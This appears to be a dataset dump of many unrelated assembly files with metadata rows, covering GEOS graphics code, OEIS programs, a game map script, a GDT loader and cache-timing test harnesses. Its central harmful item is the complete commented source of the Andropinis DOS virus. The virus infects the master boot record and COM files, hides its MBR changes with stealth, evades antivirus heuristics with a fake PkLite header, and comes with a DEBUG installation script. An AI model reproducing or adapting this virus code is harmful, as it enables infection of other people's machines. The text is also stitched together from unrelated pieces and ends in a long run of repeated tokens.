next color mov cl,ds:[curBallValues].B_color newColor: inc cl and cl,15 cmp cl, ds:[backColor] ;don't draw in same color as background je newColor ;if so, get the next color mov ds:[curBallValues].B_color,cl ret GetNextBallValues endp COMMENT @---------------------------------------------------------------------- FUNCTION: DrawBall() DESCRIPTION: Draws a ball PASS: DS:SI = Ball DI = GState RETURN: Nothing DESTROYED: AX, BX, CX, DX, BP PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Adam 1990 Initial version Don 6/91 Documentation update ------------------------------------------------------------------------------@ drawBallFuncs nptr \ DrawSquareBall, DrawCircleBall DrawBall proc near mov al,ds:[si].B_color clr ah call GrSetAreaColor call GetBallPos mov bp, ds:[drawType] shl bp, 1 ; change offset to words call cs:drawBallFuncs[bp] ret DrawBall endp DrawSquareBall proc near mov cx, ax mov dx, bx add cx, BALL_WIDTH add dx, BALL_HEIGHT call GrFillRect ret DrawSquareBall endp DrawCircleBall proc near push ds, si segmov ds, cs mov si, offset circleBall call GrDrawRegion pop ds, si ret DrawCircleBall endp COMMENT @---------------------------------------------------------------------- FUNCTION: EraseBall DESCRIPTION: Erases a ball from the screen PASS: DS:SI = Ball DI = GState RETURN: Nothing DESTROYED: AX, BX, CX, DX, BP PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Adam 1990 Initial version Don 6/91 Documentation update ------------------------------------------------------------------------------@ EraseBall proc near mov al,BACKGROUND_COLOR clr ah call GrSetAreaColor call GetBallPos mov bp, ds:[drawType] shl bp, 1 ; change offset to words call cs:drawBallFuncs[bp] ret EraseBall endp COMMENT @---------------------------------------------------------------------- FUNCTION: GetBallPos() DESCRIPTION: Returns the position of the next ball PASS: DS:SI = Ball RETURN: AX = Horizontal position BX = Vertical position DESTROYED: Nothing PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Adam 1990 Initial version Don 6/91 Documentation update ------------------------------------------------------------------------------@ ; pass: ds:si - ball, di - gstate ; return: ax, bx, cx, dx - bounds to draw GetBallPos proc near mov ax, ds:[si].B_pos.P_x mov bx, ds:[si].B_pos.P_y ret GetBallPos endp ; Our wonderful little circle, done as a region to be quick ; circleBall label Region word 0,0,BALL_WIDTH,BALL_HEIGHT ; bounds word -1, EOREGREC ; from infinity to here word 0, 9, 15, EOREGREC word 1, 7, 17, EOREGREC word 2, 5, 19, EOREGREC word 3, 4, 20, EOREGREC word 4, 3, 21, EOREGREC word 6, 2, 22, EOREGREC word 8, 1, 23, EOREGREC word 15, 0, 24, EOREGREC word 17, 1, 23, EOREGREC word 19, 2, 22, EOREGREC word 20, 3, 21, EOREGREC word 21, 4, 20, EOREGREC word 22, 5, 19, EOREGREC word 23, 7, 17, EOREGREC word 24, 9, 15, EOREGREC word EOREGREC CommonCode ends
22.140102
84
0.555438
[ "Apache-2.0" ]
BOBBYWY/pcgeos
Appl/Bounce/bounce.asm
21,808
Assembly
4
.include "defaults_mod.asm" table_file_jp equ "exe5-utf8.tbl" table_file_en equ "bn5-utf8.tbl" game_code_len equ 3 game_code equ 0x4252424A // BRBJ game_code_2 equ 0x42524245 // BRBE game_code_3 equ 0x42524250 // BRBP card_type equ 1 card_id equ 95 card_no equ "095" card_sub equ "Mod Card 095" card_sub_x equ 64 card_desc_len equ 2 card_desc_1 equ "TomahawkMan" card_desc_2 equ "40MB" card_desc_3 equ "" card_name_jp_full equ "トマホークマン" card_name_jp_game equ "トマホークマン" card_name_en_full equ "TomahawkMan" card_name_en_game equ "TomahawkMan" card_address equ "" card_address_id equ 0 card_bug equ 0 card_wrote_en equ "" card_wrote_jp equ ""
24.592593
35
0.777108
[ "Unlicense" ]
Prof9/MMBN-Mod-Card-Kit
cards/bn5/ModCards/136-B045 TomahawkMan.asm
694
Assembly
4
extern m7_ippsECCPSignSM2:function extern n8_ippsECCPSignSM2:function extern y8_ippsECCPSignSM2:function extern e9_ippsECCPSignSM2:function extern l9_ippsECCPSignSM2:function extern n0_ippsECCPSignSM2:function extern k0_ippsECCPSignSM2:function extern ippcpJumpIndexForMergedLibs extern ippcpSafeInit:function segment .data align 8 dq .Lin_ippsECCPSignSM2 .Larraddr_ippsECCPSignSM2: dq m7_ippsECCPSignSM2 dq n8_ippsECCPSignSM2 dq y8_ippsECCPSignSM2 dq e9_ippsECCPSignSM2 dq l9_ippsECCPSignSM2 dq n0_ippsECCPSignSM2 dq k0_ippsECCPSignSM2 segment .text global ippsECCPSignSM2:function (ippsECCPSignSM2.LEndippsECCPSignSM2 - ippsECCPSignSM2) .Lin_ippsECCPSignSM2: db 0xf3, 0x0f, 0x1e, 0xfa call ippcpSafeInit wrt ..plt align 16 ippsECCPSignSM2: db 0xf3, 0x0f, 0x1e, 0xfa mov rax, qword [rel ippcpJumpIndexForMergedLibs wrt ..gotpc] movsxd rax, dword [rax] lea r11, [rel .Larraddr_ippsECCPSignSM2] mov r11, qword [r11+rax*8] jmp r11 .LEndippsECCPSignSM2:
26.589744
87
0.78785
[ "Apache-2.0" ]
zyktrcn/ippcp
_build/dispatcher/jmp_ippsECCPSignSM2_77c09da8.asm
1,037
Assembly
4
; ; Copyright Null LLC ; Please read the License! ; _ _ _ ; | | | | | | ; | |__ | |_ _ _ | | ____ ____ ; | __)| | | | |/ || |/ ___) _ | gdt.asm ; | | | | |_| ( (_| | | ( ( | | Info about the CPU ; |_| |_|\__ |\____|_| \_||_| ; (____/ ; [bits 64] LoadGDT: lgdt [rdi] mov ax, 0x10 mov ds, ax mov es, ax mov fs, ax mov gs, ax mov ss, ax pop rdi mov rax, 0x08 push rax push rdi retfq GLOBAL LoadGDT
18.555556
57
0.41517
[ "BSD-3-Clause" ]
FiReLScar/Hydra
Kernel/drivers/GDT/gdt.asm
501
Assembly
4
SECTION "Map_3E31", ROM0[$B800] Map_3E31_Header: hdr_tileset 0 hdr_dimensions 28, 7 hdr_pointers_a Map_3E31_Blocks, Map_3E31_TextPointers hdr_pointers_b Map_3E31_Script, Map_3E31_Objects hdr_pointers_c Map_3E31_InitScript, Map_3E31_RAMScript hdr_palette $06 hdr_music MUSIC_SAFARI_ZONE, AUDIO_1 hdr_connection NORTH, $0000, 0, 0 hdr_connection SOUTH, $0000, 0, 0 hdr_connection WEST, $0000, 0, 0 hdr_connection EAST, $3D20, 1, 10 Map_3E31_Objects: hdr_border $0f hdr_warp_count 1 hdr_warp 32, 3, 8, 11, $3E90 hdr_sign_count 4 hdr_signpost 9, 9, $02 hdr_signpost 35, 5, $03 hdr_signpost 49, 3, $04 hdr_signpost 45, 7, $05 hdr_object_count 1 hdr_object SPRITE_YOUNG_BOY, 3, 9, STAY, NONE, $01 Map_3E31_RAMScript: rs_fill_byte $31 rs_fill_3 $c7d3 rs_end Map_3E31_Blocks: db $0f,$0f,$0f,$0f,$0f,$0f,$30,$09,$09,$09,$09,$09,$03,$28,$2c,$2c,$2c,$2c,$29,$0f,$0f,$0f,$0f,$0f,$0f,$0f,$0f,$0f db $0f,$0f,$40,$58,$0a,$0a,$0a,$0a,$0a,$43,$43,$43,$43,$24,$57,$57,$70,$57,$25,$54,$27,$27,$27,$27,$08,$78,$78,$0f db $0f,$0f,$40,$4a,$10,$7d,$7d,$00,$0a,$0a,$23,$23,$48,$0f,$0f,$0f,$ec,$08,$31,$54,$27,$27,$78,$78,$78,$43,$43,$0f db $0f,$0f,$0a,$7b,$7b,$4d,$2f,$2f,$2f,$78,$78,$78,$27,$74,$74,$74,$74,$31,$54,$54,$27,$27,$08,$31,$55,$55,$31,$31 db $0f,$0a,$0a,$7b,$79,$4d,$0a,$0a,$0a,$58,$74,$74,$27,$74,$74,$74,$31,$31,$77,$77,$27,$27,$55,$55,$55,$55,$31,$0f db $0f,$23,$23,$23,$23,$4d,$0a,$0a,$59,$0a,$74,$74,$27,$74,$77,$77,$77,$77,$0f,$0f,$27,$27,$55,$61,$61,$61,$61,$0f db $0f,$0f,$0f,$0f,$0f,$0f,$0f,$0f,$0f,$52,$52,$52,$52,$52,$30,$09,$09,$09,$09,$09,$09,$09,$09,$09,$03,$0f,$0f,$0f Map_3E31_TextPointers: dw Map_3E31_TX1 dw Map_3E31_TX2 dw Map_3E31_TX3 dw Map_3E31_TX4 dw Map_3E31_TX5 Map_3E31_InitScript: ret Map_3E31_Script: ret Map_3E31_TX1: TX_ASM ld hl, Map_3E31_Event ld c, EVENT_DESIGNERS_CREATION call CheckEventAndPrintHLIfCompleted ld hl, Map_3E31_Event call PrintTextEnhanced ld bc, $af0f ld de, $d100 call CompleteEvent jp TextScriptEnd Map_3E31_Event: text "You like this map?" para "I put a lot of effort" next "into it!" para "Thank you for being" next "a beta tester!" wait Map_3E31_TX2: TX_ASM jp EnhancedTextOnly text "Congraturation" para "This story is" next "happy end" cont "____ - Matthew" done Map_3E31_TX3: TX_ASM jp EnhancedTextOnly text "You can go left," next "or go into cave." para "Isn't it just a" next "genius design?" cont "____ - Matthew" done Map_3E31_TX4: TX_ASM jp EnhancedTextOnly text "This is the" next "wrong way." para "You should go" next "left!" cont "____ - Matthew" done Map_3E31_TX5: TX_ASM jp EnhancedTextOnly text "Welcome to this" next "great map!" para "It's the best map" next "you evar played." para "You will see it," next "play!" cont "____ - Matthew" done
27.921739
118
0.594207
[ "MIT" ]
stranck/fools2018-1
savefile/maps/3E31_DesignersCreation.asm
3,211
Assembly
4
;****************************************************************************** ; ; Virus name : Andropinis ; Author : Rajaat ; Origin : United Kingdom, March 1995 ; Compiling : Using TASM | Using A86 ; | ; TASM /M2 ANDROPIN.ASM | A86 ANDROPIN.ASM ; TLINK ANDROPIN | ; EXE2BIN ANDROPIN | ; Installing : Place the produced BIN file at cylinder 0, head 0, sector 2 ; Modify the partition record to point to this code ; (a debug script is provided at the end of this source) ; Targets : Master Boot Record & COM files ; Size : 512 bytes ; Polymorphic : No ; Encrypted : No ; Stealth : Full Stealth on Master Boot Record ; Tunneling : No - is not needed if started from Master boot record ; Retrovirus : No ; Antiheuristics: Yes - for TBAV ; Peculiarities : Infects MBR by modifying 2 bytes ; Uses SFT's to infect COM files ; Avoids Thunderbyte Antivirus using a 2 byte signature! ; Behaviour : When an infected COM file is run, the virus will not become ; resident, but will first infect the master boot record. It ; does its work in a very peculiar way. It modifies the ; 1st partition record with the result that it points to ; cylinder 0, head 0, sector 2. The viral bootsector will be ; stored there. The next time when a system is booted, ; Andropinis will become resident in high memory, but below ; the top of memory. Programs like CHKDSK.EXE will show a ; decrease in system memory of 1024 bytes. The virus will hook ; interrupt 13 at this time and wait till interrupt 21 is ; captured 3 times. Andropinis will then take interrupt 21 ; itself. The virus is now stealth on the master boot record, ; only modifying the pointer to the bootsector in memory when ; the master boot record is read. The virus will infect COM ; files when copied, therefore not needing a critical interrupt ; handler. Andropinis will only infect COM files when they are ; between 4095 and 61441 bytes. Infected files will begin with ; a PUSH AX, DEC BX, NOP and a near jump to the virus code. ; The first 2 instructions will cause the Thunderbyte scanner ; to avoid the file. It thinks it's processed with PkLite! f ; Even the "ex"tract option doesn't work and gives back a "N/A" ; for every infected file. F-PROT detects nothing, except when ; the /ANALYSE option is used. AVP gives a virus "Type Boot" ; suspicion. How true that is. The weak point of the virus is ; its lack of protection in infected COM files, so it relies on ; the fact that the Master Boot Record infection isn't visible. ; Tai-Pan spread also far, and was even more simplistic than ; Andropinis, with the exception that is infected the more ; common filetype, the EXE file. The virus doesn't do any ; intended harm, as Patty would say : ; "It's unknown what this virus does besides replicate." ; Yoho's : VLAD, Immortal Riot, Phalcon/Skism, [NuKE], ; and all other virus writers that exist. ; ;****************************************************************************** .model tiny ; this must become a BIN file .code ; let's start with the code, ok .radix 16 ; safe hex org 0 ; throw it in the bin ;****************************************************************************** ; Viral boot sector ;****************************************************************************** virus: xor bx,bx ; initialise stack and data cli ; segment mov ss,bx ; mov ds,bx ; mov sp,7c00 ; push sp ; sti ; mov si,413 ; steal some memory from the dec word ptr [si] ; top lodsw ; mov cl,6 ; calculate free segment for shl ax,cl ; virus mov es,ax ; pop si mov di,bx ; push data for a far jump to push di ; the virus code in high memory push es ; lea ax,init_resident ; push ax ; mov cx,100 ; move the code to high memory move_boot: movsw ; this doesn't trigger tbav loop move_boot ; retf ; return to the address pushed ;****************************************************************************** ; the following piece of code is executed in high memory ;****************************************************************************** init_resident: mov byte ptr cs:hook_21_flag,0 ; reset int 21 hook flag lea di,old_13 ; store old int 13 vector and mov si,4*13 ; replace it with our new lea ax,new_13 ; handler xchg ax,[si] ; stosw ; mov ax,cs ; xchg ax,[si+2] ; stosw ; mov si,4*21 ; store new address to int 21 lea ax,new_21 ; vector xchg ax,[si] ; mov ax,cs ; xchg ax,[si+2] ; pop es ; read the original bootsector push es ; and execute it mov ax,0201 ; mov dx,180 ; mov cx,1 ; mov bx,7c00 ; push bx ; int 13h ; retf ; ;****************************************************************************** ; new int 13 handler ;****************************************************************************** new_13: cmp ax,5001 ; installation check jne no_inst_check ; xchg ah,al ; iret no_inst_check: cmp ah,2 ; check if partition sector jne no_stealth ; is read. if not, there's cmp dx,80 ; no need to use stealth jne no_stealth ; cmp cx,1 ; jne no_stealth ; pushf ; perform read action, and call dword ptr cs:[old_13] ; go to stealth_mbr if no error jnc stealth_mbr ; occured retf 2 ; stealth_mbr: cmp word ptr es:1bf[bx],200 ; is the virus active? jne not_infected ; no, goto not_infected mov word ptr es:1bf[bx],0101 ; stealth virus not_infected: iret ; no_stealth: cmp byte ptr cs:[hook_21_flag],3; if this is try 3 to get int je eoi_13 ; 21, get lost to eoi_13 push ax ; preserve these push ds ; xor ax,ax ; is int 21 changed? mov ds,ax ; mov ax,cs ; cmp ax,word ptr ds:[4*21+2] ; je int_21_ok ; no, int 21 is ok inc byte ptr cs:[hook_21_flag] ; increase the hook int 21 flag lea ax,new_21 ; capture int 21 and store xchg ax,ds:[4*21] ; the old vector mov word ptr cs:old_21,ax ; mov ax,cs ; xchg ax,ds:[4*21+2] ; mov word ptr cs:old_21[2],ax ; int_21_ok: pop ds ; get these back pop ax ; eoi_13: jmp dword ptr cs:[old_13] ; chain to old int 13 ;****************************************************************************** ; new int 21 handler ;****************************************************************************** new_21: cmp ah,40 ; is a write command performed? je write_to_file ; yeah, write_to_file eoi_21: jmp dword ptr cs:[old_21] ; chain to old int 21 write_to_file: push ax ; preserve some registers push bx ; push dx ; push di ; push es ; mov ax,4400 ; check if the write belongs int 21 ; to a device test dl,80 ; jnz not_suitable ; mov ax,1220 ; find file handle table that int 2f ; belongs to the handle in bx mov bl,byte ptr es:[di] ; mov ax,1216 ; int 2f ; mov bx,2020 ; check if the file has a com mov ax,word ptr es:[di+28] ; extension or ax,bx ; cmp ax,'oc' ; jne not_suitable ; mov al,byte ptr es:[di+2a] ; or al,bl ; cmp al,'m' ; jne not_suitable ; cmp word ptr es:[di+11],0 ; check if file length is jne not_suitable ; zero cmp cx,1000 ; check if piece of code is jb not_suitable ; not too short or too long cmp cx,0f000 ; ja not_suitable ; pop es ; these registers are done pop di ; pop dx ; mov bx,dx ; check if the file is a cmp word ptr ds:[bx],'ZM' ; renamed exe file je is_renamed_exe ; cmp word ptr ds:[bx+2],0e990 ; check if already infected jne infect_com ; jmp is_renamed_exe not_suitable: pop es ; done with this interrupt pop di ; service routine, so chain pop dx ; to the old 21 routine is_renamed_exe: pop bx ; pop ax ; jmp eoi_21 ; ;****************************************************************************** ; piece of code that infects a COM file ;****************************************************************************** infect_com: pop bx ; this register was done push cx ; get the first 6 bytes of the push si ; host and overwrite them with add cx,offset com_entry-6 ; the new bytes. it places a mov si,dx ; nifty piece of code to mov ax,'KP' ; render tbscans heuristics xchg word ptr [si],ax ; useless. the PUSH AX, DEC BX mov word ptr cs:org_com,ax ; (PK) in the begin of the lodsw ; program makes tbscan think mov ax,0e990 ; it is a PkLite compressed xchg word ptr ds:[si],ax ; file and will skip it! mov word ptr cs:org_com+2,ax ; lodsw ; xchg word ptr ds:[si],cx ; mov word ptr cs:org_com+4,cx ; pop si ; pop cx ; pop ax ; perform original write pushf ; command call dword ptr cs:[old_21] ; push ax ; and append the virus at the push cx ; end of the file push dx ; push ds ; push cs ; pop ds ; mov ah,40 ; mov cx,virus_length_b ; lea dx,virus ; pushf ; call dword ptr cs:[old_21] ; pop ds ; pop dx ; pop cx ; pop ax ; retf 2 ; ;****************************************************************************** ; this gets executed by an infected COM file ;****************************************************************************** com_entry: call get_offset ; old hat for getting the get_offset: pop bp ; delta offset sub bp,offset get_offset ; mov ax,5001 ; if the virus is resident it int 13 ; doesn't need to infect the cmp ax,0150 ; master boot record je is_active ; mov ax,0201 ; read master boot record. lea bx,heap[bp] ; if an error occured, goto mov cx,1 ; is_active mov dx,80 ; int 13 ; jc is_active ; cmp word ptr [bx+1be+1],0101 ; test if the partition begins jne is_active ; at the normal sector test byte ptr [bx+1be],80 ; test of the partition is jz is_active ; bootable mov al,byte ptr [bx+1be+4] ; test if the partition type cmp al,4 ; is ok jb is_active ; cmp al,6 ; ja is_active ; mov word ptr [bx+1be+1],200 ; change pointer to virus code mov ax,0301 ; write back the master boot push ax ; record. quit if error int 13 ; occured pop ax ; jc is_active ; inc cx ; write virus to sector 2 lea bx,virus[bp] ; (right behind the mbr) int 13 ; is_active: lea si,org_com[bp] ; restore beginning of the mov di,100 ; host and execute it pop ax ; push cs ; push di ; movsw ; movsw ; movsw ; retf ; ;****************************************************************************** ; some data used by the virus ;****************************************************************************** db '[Andropinis]' ; my childs name db ' by Rajaat',0 ; my name org 1fe ; for the bootsector db 55,0aa ; boot signature ;****************************************************************************** ; the things below aren't copied into the viral boot sector, only in COM files ;****************************************************************************** org_com equ $ ; original program data heap equ $+6 ; memory for data virus_length_b equ heap-virus ; who says size doesn't count? virus_length_s equ (virus_length_b+1ff) / 200 ; virus_length_k equ (virus_length_b+3ff) / 400 ; old_13 equ heap+6 ; old int 13 vector old_21 equ heap+0a ; old int 21 vector hook_21_flag equ heap+0e ; int 21 hook flag end virus ; the end complete end ; ;****************************************************************************** ; remove the piece below if you use A86 instead of TASM, because it will ; choke on it --- debug script for installing the Andropinis virus --- install with DEBUG ANDROPIN.BIN < scriptname where scriptname is the name that you give to the mess below --- cut here --- m 100 l200 1000 a mov ax,0201 mov bx,800 mov cx,1 mov dx,80 int 13 mov si,9bf mov word ptr [si],200 mov ax,0301 mov dx,80 int 13 mov ax,0301 mov bx,1000 inc cx int 13 int 20 g q --- cut here ---
47.601467
79
0.357851
[ "MIT" ]
010001111/Family
MSDOS/Virus.MSDOS.Unknown.andropin.asm
19,469
Assembly
4
; A089361: Numbers of pairs (i, j), i, j > 1, such that i^j <= n. ; 0,0,0,1,1,1,1,2,3,3,3,3,3,3,3,5,5,5,5,5,5,5,5,5,6,6,7,7,7,7,7,8,8,8,8,9,9,9,9,9,9,9,9,9,9,9,9,9,10,10,10,10,10,10,10,10,10,10,10,10,10,10,10,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,13,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,16 mov $1,261241 sub $1,$0 seq $0,342871 ; a(n) = Sum_{k=1..n} floor(n^(1/k)), n >= 1. mul $1,2 mov $2,$0 add $2,1 add $1,$2 sub $1,522484 mov $0,$1
35.923077
253
0.573876
[ "Apache-2.0" ]
ckrause/cm
programs/oeis/089/A089361.asm
467
Assembly
4
; A192457: Constant term of the reduction by x^2->x+2 of the polynomial p(n,x) defined below in Comments. ; Submitted by Jamie Morken(s1) ; 0,2,14,118,1210,14730,208110,3350550,60580170,1215657450,26813382750,644830644150,16793095369050,470839138619850,14140985865756750,452938463797569750,15412288335824630250,555226177657611710250,21111260070730770690750 mov $2,1 mov $6,1 lpb $0 mov $3,1 lpb $3 add $2,1 mov $4,$1 cmp $4,1 cmp $4,0 sub $3,$4 mul $6,$2 lpe sub $0,1 add $1,$6 add $2,1 mov $5,$1 mul $1,$2 lpe mov $0,$5
23.416667
218
0.69395
[ "Apache-2.0" ]
ckrause/loda-programs
oeis/192/A192457.asm
562
Assembly
4
SECTION code_clib PUBLIC xorpixl EXTERN xor_MODE0 EXTERN xor_MODE1 EXTERN __sv8000_mode INCLUDE "target/sv8000/def/sv8000.def" xorpixl: ld a,(__sv8000_mode) cp MODE_1 jp z,xor_MODE1 and a ret nz jp xor_MODE0
12.473684
40
0.725738
[ "BSD-2-Clause" ]
ByteProject/Puddle-BuildTools
FictionTools/z88dk/libsrc/target/sv8000/graphics/xorpixl.asm
237
Assembly
4
@111 D=A @0 A=M M=D @0 M=M+1 @333 D=A @0 A=M M=D @0 M=M+1 @888 D=A @0 A=M M=D @0 M=M+1 @0 M=M-1 @16 D=A @8 D=D+A @13 M=D @0 A=M D=M @13 A=M M=D @0 M=M-1 @16 D=A @3 D=D+A @13 M=D @0 A=M D=M @13 A=M M=D @0 M=M-1 @16 D=A @1 D=D+A @13 M=D @0 A=M D=M @13 A=M M=D @16 D=A @3 A=D+A D=M @0 A=M M=D @0 M=M+1 @16 D=A @1 A=D+A D=M @0 A=M M=D @0 M=M+1 @0 M=M-1 A=M D=M @0 M=M-1 A=M D=M-D M=D @0 M=M+1 @16 D=A @8 A=D+A D=M @0 A=M M=D @0 M=M+1 @0 M=M-1 A=M D=M @0 M=M-1 A=M D=D+M M=D @0 M=M+1 (END) @END 0;JMP
4.194915
5
0.476768
[ "Apache-2.0" ]
peacetrue/learn-nand2tetris
docs/antora/modules/ROOT/pages/nand2tetris/projects/07/MemoryAccess/StaticTest/StaticTest.asm
495
Assembly
4
; A025698: Index of 3^n within sequence of numbers of form 3^i*7^j. ; 1,2,4,6,9,12,16,20,25,31,37,44,51,59,67,76,86,96,107,118,130,142,155,168,182,197,212,228,244,261,278,296,315,334,354,374,395,416,438,461,484,508,532,557,582,608,634,661,689,717,746,775,805,835,866,898,930,963,996 mov $3,$0 add $3,1 mov $4,$0 lpb $3,1 mov $0,$4 sub $3,1 sub $0,$3 mul $0,79 mov $2,$0 mov $0,35 lpb $0,1 mul $0,4 div $2,$0 mov $0,10 add $2,1 lpe add $1,$2 lpe
21.818182
214
0.608333
[ "Apache-2.0" ]
karttu/loda
programs/oeis/025/A025698.asm
480
Assembly
4
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r13 push %r8 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x15317, %rdi nop xor %rcx, %rcx movups (%rdi), %xmm5 vpextrq $1, %xmm5, %rdx nop nop nop sub %r8, %r8 lea addresses_D_ht+0x1dfb3, %r8 nop nop inc %rcx mov (%r8), %rbp sub %rcx, %rcx lea addresses_WC_ht+0x70f7, %r12 nop nop nop nop and %r8, %r8 movups (%r12), %xmm5 vpextrq $0, %xmm5, %rdi nop xor $18368, %rdx lea addresses_normal_ht+0x166b7, %rdx nop nop nop nop xor %r12, %r12 mov $0x6162636465666768, %rbp movq %rbp, %xmm6 vmovups %ymm6, (%rdx) nop nop nop add $5226, %r12 lea addresses_normal_ht+0xf4ca, %r12 nop nop and %rdx, %rdx movups (%r12), %xmm3 vpextrq $0, %xmm3, %r8 nop nop nop nop nop sub $22871, %r8 lea addresses_A_ht+0x9db7, %rsi lea addresses_normal_ht+0x137b7, %rdi nop nop dec %rdx mov $5, %rcx rep movsq add %r8, %r8 lea addresses_WT_ht+0xfecf, %rdx nop nop nop add $8943, %rsi mov $0x6162636465666768, %r8 movq %r8, (%rdx) nop nop nop nop cmp %rdx, %rdx lea addresses_UC_ht+0x8a47, %rsi lea addresses_UC_ht+0x36f7, %rdi nop nop sub %r8, %r8 mov $46, %rcx rep movsb nop nop nop nop nop inc %rdi lea addresses_A_ht+0xee37, %rdi clflush (%rdi) nop nop nop sub %r8, %r8 movb (%rdi), %cl nop sub $23397, %r8 lea addresses_D_ht+0x12f7, %rbp clflush (%rbp) nop xor $4893, %rdi movb $0x61, (%rbp) nop nop nop add $65040, %rbp lea addresses_D_ht+0x1ee5b, %rsi lea addresses_A_ht+0x100f7, %rdi nop nop and %r13, %r13 mov $81, %rcx rep movsw nop nop nop nop and $56070, %rdx lea addresses_D_ht+0x12f7, %rsi lea addresses_WT_ht+0x1e5a7, %rdi nop nop nop nop nop sub %rdx, %rdx mov $100, %rcx rep movsl nop nop nop sub $64995, %rsi lea addresses_normal_ht+0xcaf7, %r8 nop nop xor $14351, %r12 movb (%r8), %cl nop nop nop and $28609, %rdx lea addresses_UC_ht+0xeb97, %rbp nop nop nop nop add $7242, %r12 movb (%rbp), %r13b nop nop nop nop nop add $4030, %r8 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r8 pop %r13 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r15 push %rax push %rbp push %rbx push %rcx // Store mov $0xe87, %r10 clflush (%r10) nop nop inc %rbp mov $0x5152535455565758, %r11 movq %r11, (%r10) nop nop add $8699, %rbp // Load lea addresses_D+0x18457, %r15 nop nop nop nop nop add $1648, %rcx mov (%r15), %r11 nop nop nop nop nop sub $35573, %rbx // Faulty Load lea addresses_RW+0x136f7, %rax nop nop nop and %r10, %r10 mov (%rax), %rbx lea oracles, %r11 and $0xff, %rbx shlq $12, %rbx mov (%r11,%rbx,1), %rbx pop %rcx pop %rbx pop %rbp pop %rax pop %r15 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_RW', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_P', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 4}} {'src': {'type': 'addresses_D', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 4}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_RW', 'AVXalign': False, 'size': 8, 'NT': True, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 4}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D_ht', 'AVXalign': True, 'size': 8, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 8}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': True, 'congruent': 5}} {'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 3}} {'src': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}} {'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 6}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 10}} {'src': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}} {'src': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}} {'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': True, 'congruent': 10}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 1, 'NT': True, 'same': False, 'congruent': 4}, 'OP': 'LOAD'} {'32': 21829} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 